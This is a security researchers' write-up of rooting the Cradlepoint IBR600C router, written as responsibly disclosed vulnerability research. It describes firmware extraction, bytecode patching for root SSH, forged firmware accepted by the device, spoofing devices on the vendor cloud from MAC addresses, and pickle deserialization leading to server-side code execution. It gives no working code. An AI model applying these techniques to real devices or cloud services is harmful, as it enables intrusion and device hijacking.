Introduction

Out of curiosity, we decided last year to “pen-test” the Cradlepoint IBR600C which we had literally on hand. Here, we present the results of our tests:

First, we reversed engineered the device hardware and extracted the firmware. We analyzed the device middleware written in Python and got permanent root access. We also had a look at the firmware upgrade mechanism and eventually found some vulnerabilities in the cloud connectivity.

Hardware, Firmware and Boot Process

We first reverse engineered the hardware architecture around the main processor, a Qualcomm IPQ4018. Then, we analyzed the boot process based on U-Boot and Linux. Finally, we extracted the (unencrypted) firmware out of the flash storage with a Bus Pirate and a Saleae logic analyzer. By modifying some environmental parameters in the NOR Flash - and since no Secure Boot was in place - we made U-Boot more "talkative" to load a live openWRT image into the device’s SDRAM.

Rooting the Device

In the device’s Python middleware we found how to enable SSH root access by patching some Python byte-code – which could decompile easily. After re-building the squashfs root file system, we had to prepare the kernel and rootfs images before flashing them into the NAND flash via the OpenWRT live image loaded in SDRAM. We then had a permanent root shell via SSH!

Firmware Upgrade

The firmware upgrade mechanism via internal web-server or SCP was broken: an asymmetric signature is in place but it wasn’t verified for older firmware versions. Additionally, the firmware version string stored in the firmware header wasn’t protected at all.

We extracted the symmetric key used for firmware encryption located in the file system and could build a firmware blob which was accepted by the device. At that point, we could manipulate the firmware permanently without a user taking notice.

Root file system Emulation

With QEMU and Docker, the complete root file system could be emulated on a x86 machine, making further analysis easier (no need to have the physical device).

Cloud connectivity and Login

By running the Python code related to the cloud connectivity on a PC, we found a vulnerability in the cloud registration process. A device registered with the cloud service could be disconnected remotely by registering it again from any machine connected to the Internet – by knowing its MAC address only (w/o credentials and w/o accessing the device physically). With a temporary access token – obtained with a MAC address of a device from a marketplace for example – we could spoof a legitimate device.

Man-in-the-Middle and Serialization Bug

In the root file system we added our own certificate to the trusted certificate store to intercept and modify the TLS traffic with mitmproxy. We found a serialization bug: during registration, the router engaged in a license sync with the cloud service by sending its license as a pickled Base64 encoded byte stream. As we controlled the data, it was possible to execute malicious pickle opcodes on the server.

Conclusion

From an embedded security perspective, the lack of Secure Boot and strong firmware encryption enabled us to play with the device firmware easily, i.e. w/o side channel analysis or fault attack. By analyzing the device firmware and the network traffic we could find different vulnerabilities, especially in the firmware upgrade process and the cloud connectivity.

This analysis could be continued: especially the LTE modem may be an interesting target for the future.

Embedded security is a complex topic: it requires a very broad knowledge ranging from hardware to OS and network security. Moreover, each device is different, making the analysis more difficult - but also much more interesting!

Responsible Disclosure

We informed Cradlepoint on 2023-01-05 and would like to thank the Cradlepoint team for their cooperation.

Documentation

A complete write-up is available at https://github.com/vegantransistor/Rooting-the-Cradlepoint-IBR600